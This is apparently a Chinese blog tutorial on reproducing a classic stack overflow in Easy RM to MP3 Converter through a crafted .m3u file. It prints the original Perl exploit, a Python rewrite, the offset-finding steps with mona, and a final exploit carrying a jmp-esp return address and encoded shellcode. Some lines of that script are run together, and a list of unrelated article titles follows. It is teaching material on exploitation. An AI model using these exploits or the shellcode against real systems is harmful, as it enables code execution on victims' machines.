以一个样本(Easy RM to MP3 Converter)将作为经典栈溢出的讲解实例,首先说明此实验是WIN10环境下复现的;

“Easy RM 2 MP3 Converter”是一个音频格式的转换工具,年代比较久远了。在2009年7月17日,packetstormsecurity公开了该软件的一个栈溢出漏洞并提供了exploit:https://packetstormsecurity.com/files/79357/Easy-RM-To-MP3-Converter-Stack-Overflow.html

Exp-DB也收录了这一漏洞:https://www.exploit-db.com/exploits/9186/

公开的exp我运行不起了,我们先来分析一下这个exp:

#!/usr/bin/perl
# Easy RM to MP3 Converter .m3u file Universall Stack Overflow Exploit
# it's so diferent to the first exploit .pls
# by stack
# xd Alpha zrebti 3liha :d
# Thnx to Zigma & His0k4 & HOD
my $header= "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"."\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"."\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"."\x0D\x0A\x44\x3A\x5C";my $junk  = "\x41" x 1293;
my $ret   = "\xDB\x70\xBB\x01"; # Universal return adress :d
my $nop   = "\x90" x 220;
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
my $calc_shell ="\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"."\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"."\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"."\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"."\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"."\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47"."\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48"."\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48"."\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"."\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"."\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"."\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54"."\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"."\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43"."\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57"."\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a"."\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"."\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33"."\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47"."\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39"."\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36"."\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a";$id = $ARGV[0];
if ($id==1){
print "$header$junk$ret$nop$calc_shell";
exit;
}
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++                                                              +++\n";
print " +++                                                              +++\n";
print " +++ Easy RM to MP3 Converter Universall Stack Overflow Exploit   +++\n";
print " +++ Written By Stack                                             +++\n";
print " +++                                                              +++\n";
print " +++   Usage Ex.: perl $0 1 >>Exploit.m3u                         +++\n";
print " +++                                                              +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;
#EOF

这段shellcode明显是由header,junk,ret(返回地址),nop填充以及一个弹出计算机的shellcode构成的,其中这个header可能是指定的文件的文件头,header和junk是用于填充ESP和EBP之间的内存空间(包括EBP本身),而”\xDB\x70\xBB\x01”是一个硬编码的地址,这个地址很可能是“jmp esp”或者"call esp"之类指令的地址;

因为这段shellcode已经不能用了,所以我们需要重新去寻找junk字符串的大小,“jmp esp”或者“call esp”的地址,只要找到这两个主要的东西后,我们就可以重新部署我们的shellcode了;

我们先用python来重新书写一下exp的模板:

import sys
header = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"
junk = "A" * 10000
payload = header + junk
if len(sys.argv) < 2:print 'usage: python ' + sys.argv[0] +' name.m3u'
else:with open(sys.argv[1],"w") as f:f.write(payload)

我将junk字符串用10000个"A"来替代,然后暂时去除了shellcode,然后,我们用命令行来生成一个ev1.m3u的文件,然后用这个程序打开:

程序弹出了一个对话框,提示了一个错误,点击确定后程序一切正常,并没有崩溃;

于是我们将10000个“A"改为30000个“A”,重新生成文件ev1.m3u,然后重新用这个软件打开此文件,发现程序死掉了;

根据我们对栈溢出的理解,程序崩溃是因为当前栈帧的返回地址被0x41414141所覆盖,而0x41414141处的指令是不可控的(内存空间要么未分配,要么指令因不可控而异常)。通过调试器来定位一下,程序的最后是否按照预期所想。使用Windbg附加进程,g命令运行起来,然后加载evil1.m3u,然后我们用dd esp命令查看一下:

可以看到程序确实跑到了0x41414141指令处;

定位ret eip

但要如何定位ret eip在栈上的地址呢?我们填充的数据全是’A’,崩溃时根本看不出是哪个地址处的’A’覆盖了ret addr。

对于这种情形,有2种常见的手法来解决:

  1. 第一种是直接通过动态调试和静态调试,比如找到关键函数调用地址,通过下断点的方式,在程序崩溃前后观察栈内存空间,如果是静态调试的话甚至可以根据反汇编码直接计算出ret addr与可控输入数据的距离。
  2. 第二种是懒人万用方法,可以直接用一组pattern特征junk来填充,观察程序崩溃时跳转的地址来定位ret addr与数据起始的偏移。

第二种方法无疑比较简单,这里就使用它来操作一下,直接用windbg的mona.py插件:

!py mona pattern_create 30000

用HEX这30000个字节数据替代之前的poc.py中的junk;数据大,不贴代码

可以观察到这一组数据有很明显的特征,可以根据这一组精心够造的序列轻易的判断出ret addr是哪4个连续的字节。

再次调试,看看ret address跳到了哪里:

因为Intel是小端,所以我们把地址换成”\x48\x6d\x33\x48”,把这4个字节在30000个字节中搜索一下,就知道ret addr的偏移了。

可以手动搜索,也可以继续用mona.py插件提供的pattern_offset。最终找到偏移为26105;

编写exp

要让我们的esp可用,那么只需要找到一条稳定的”jmp esp“指令的地址,覆盖ret addr,就可以了;

而jmp esp的地址我们可以通过mona插件的jmp -r esp -m KERNEL32.DLL来查找。选择kernel32.dll是因为它比较稳定,这个dll会被所有用户态应用程序加载,且基址固定(系统未开启ASLR,就算开启了ASLR,这个地址在重启前也都是固定的(受限于Windows DLL加载的设计),方便调试),除了kernel32.dll,user32.dll也经常作为选择;

我们用0x75a9dd50覆盖ret addr,shellcode先暂时设置成”\xcc”,也就是’int 3’指令。

再次测试,程序确实如预期跳到了栈上的shellcode起始字节处开始执行(当前是int 3)了,说明这个地址可以用;

于是最终的exp:

import sysheader = "\x23\x45\x58\x54\x4D\x33\x55\x0D\x0A\x23\x45\x58\x54\x49\x4E\x46"
header += "\x3A\x33\x3A\x35\x30\x2C\x4C\x61\x6D\x62\x20\x4F\x66\x20\x47\x6F"
header += "\x64\x20\x2D\x20\x53\x65\x74\x20\x54\x6F\x20\x46\x61\x69\x6C\x20"
header += "\x0D\x0A\x44\x3A\x5C"junk="A"*26105ebp="B"*4ret = "\x50\xdd\xa9\x75"     #jmp espbuf ="\xb8\x6f\xa0\x67\x4a\xd9\xc3\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
buf +="\x30\x31\x42\x13\x03\x42\x13\x83\xea\x93\x42\x92\xb6\x83\x01"
buf +="\x5d\x47\x53\x66\xd7\xa2\x62\xa6\x83\xa7\xd4\x16\xc7\xea\xd8"
buf +="\xdd\x85\x1e\x6b\x93\x01\x10\xdc\x1e\x74\x1f\xdd\x33\x44\x3e"
buf +="\x5d\x4e\x99\xe0\x5c\x81\xec\xe1\x99\xfc\x1d\xb3\x72\x8a\xb0"
buf +="\x24\xf7\xc6\x08\xce\x4b\xc6\x08\x33\x1b\xe9\x39\xe2\x10\xb0"
buf +="\x99\x04\xf5\xc8\x93\x1e\x1a\xf4\x6a\x94\xe8\x82\x6c\x7c\x21"
buf +="\x6a\xc2\x41\x8e\x99\x1a\x85\x28\x42\x69\xff\x4b\xff\x6a\xc4"
buf +="\x36\xdb\xff\xdf\x90\xa8\x58\x04\x21\x7c\x3e\xcf\x2d\xc9\x34"
buf +="\x97\x31\xcc\x99\xa3\x4d\x45\x1c\x64\xc4\x1d\x3b\xa0\x8d\xc6"
buf +="\x22\xf1\x6b\xa8\x5b\xe1\xd4\x15\xfe\x69\xf8\x42\x73\x30\x96"
buf +="\x95\x01\x4e\xd4\x96\x19\x51\x48\xff\x28\xda\x07\x78\xb5\x09"
buf +="\x6c\x76\xff\x10\xc4\x1f\xa6\xc0\x55\x42\x59\x3f\x99\x7b\xda"
buf +="\xca\x61\x78\xc2\xbe\x64\xc4\x44\x52\x14\x55\x21\x54\x8b\x56"
buf +="\x60\x37\x4a\xc5\xe8\xb8"nop = "\x90" * 30shellcode = nop + bufpayload=header+junk +ebp +ret+ "Z"*4+ shellcodeif len(sys.argv) < 2:print 'usage: python ' + sys.argv[0] +' name.m3u'
else:with open(sys.argv[1],"w") as f:f.write(payload)

经典栈溢出 Easy RM to MP3 Converter相关推荐

  1. Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

    Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用 测试环境及工具: windbg IDA winxp sp3 这算是正式调试分析的第一个漏洞,也是跟着一位学长的博客做一 ...

  2. 格式工厂 wav 比特率_Easy MP3 Converter Pro for mac(音频格式转换软件)

    Mac哪款音频格式转换软件好用呢?Easy MP3 Converter Pro for mac支持批量转换音频格式,只需将各种格式的音频文件拖拽至Easy Mp3 Converter Pro mac版 ...

  3. 格式工厂 wav 比特率_Easy MP3 Converter Pro for mac(音频格式转换软件) 3.0.0

    为大家分享一款简单好用的mac音频格式转换软件,Easy MP3 Converter Pro for mac支持批量转换音频格式,只需将各种格式的音频文件拖拽至Easy Mp3 Converter P ...

  4. 用千千静听把rm转换为MP3格式

    用千千静听把rm转换为MP3格式 转换时完全采用默认的设置,成功了,在MP3里也能听,可也太大了,一个rm格式的文件也就20M左右,可一转换成MP3后,一下子大到了100M,这可不行. 这个怎么来弥补 ...

  5. 转换RM为MP3(转)

    转换RM为MP3(转)[@more@] 如题,请问什么软件可以转换RM为MP3?现在很多歌曲下载都是RM,但是MP3的可携带性好一些. 用Streambox Ripper 谢谢,用了Streambox ...

  6. StreamBox Ripper 将rm转mp3时候出现g2支持的问题

    利用StreamBox Ripper(很多网站有下,很小的绿色软件,使用方便)可以将rm格式的 文件转换成mp3格式的文件但是一般大家安装的是realpalyer 10,StreamBox Rippe ...

  7. 全球最经典音乐推荐,装满mp3

    系列一   喂养耳朵,静静生活; 1<快乐还是忧伤>http://www.songtaste.com/song/425559/  (旋律一开始就被迷住了,走过忧伤 告别快乐 留下美丽的心碎 ...

  8. 永恒的经典,8个精品MP3设计方案合集

    MP3曾经是多少人梦寐以求的电子产品,即使到现在也仍然收到大家的喜欢,也深受电子爱好者的追捧,作为一个入门级的电子设计,MP3不仅可以锻炼相关电路知识的掌握能力,也是实用小物件一枚,用自己设计的MP3 ...

  9. Exploit编写教程2:跳转的多种姿势

    本文为 Exploit编写教程 的学习笔记,原文请点击这里 本文仅作以防御为目的的技术总结,所有操作均在实验环境下进行,请勿用于非法行为,否则后果自负. 如有侵权烦请告知,我们会立即删除并致歉.谢谢. ...

  10. 如何下载酷6、土豆、优酷、56视频并转化格式进行播

    将flv(flash video file)格式视频转化成avi格式,用于mp4等播放器的软件,最佳当属:WisMencoder,官方下载地址为:官方下载地址 http://www.wiscn.com ...

最新文章

  1. java判断一个单向链表是否有环路
  2. 第3章 StringBuilder类
  3. Ubuntu cocos2d-x 3.13版本游戏开发学习系列3 Cocos2d-x的坐标系
  4. 如何开发一个用户脚本系列(3)——脚本一:百度首页和搜索页面添加 Google 搜索框...
  5. tinyxml2遍历所有节点_Python实现二叉树的遍历
  6. mysql查询单词出现的位置_在MySQL中从左侧获取一些单词
  7. 排序算法——随机快速排序
  8. 傅里叶级数的数学推导
  9. 关于java设计模式与极品飞车游戏的思考
  10. Flutter ClipPath 自定义CustomClipper 玩转不一样的背景图案
  11. c++访问数据库代码示例 occi_使用Python操作SQL Server数据库
  12. 更新一波,微信第三方开发平台授权流程
  13. numpy_basic
  14. PMC 任命Edward Sharp为首席战略及技术官
  15. react刷新页面_【跟着官网学React】Hello World
  16. 浅谈I2S协议、PDM麦克风
  17. OBS 录制的视频声音越来越大
  18. 压缩PPT大小的方法是什么?
  19. RPC系列协议--rfc1191--Path MTU Discovery
  20. 用css3 3d效果做一个立体盒子

热门文章

  1. java web js 创建文件夹_如何在web工程里用java代码用程序动态添加css,images,js等文件夹...
  2. ubuntu c/c++ 生成.so 并被python调用
  3. how-to-change-the-windows-pagefile-size win10分页虚存大小
  4. AndroidManifest中android:label与第三方库冲突问题
  5. 闲置域名解析到自己的博客
  6. linux恢复表数据,Linux恢复误删的数据
  7. react router 路由守卫_React-router 路由守卫
  8. Android编译构建,教程11:使用Android Studio编译构建behaviac
  9. Windows系统历史版本简介
  10. WIN32汇编语言中位图的使用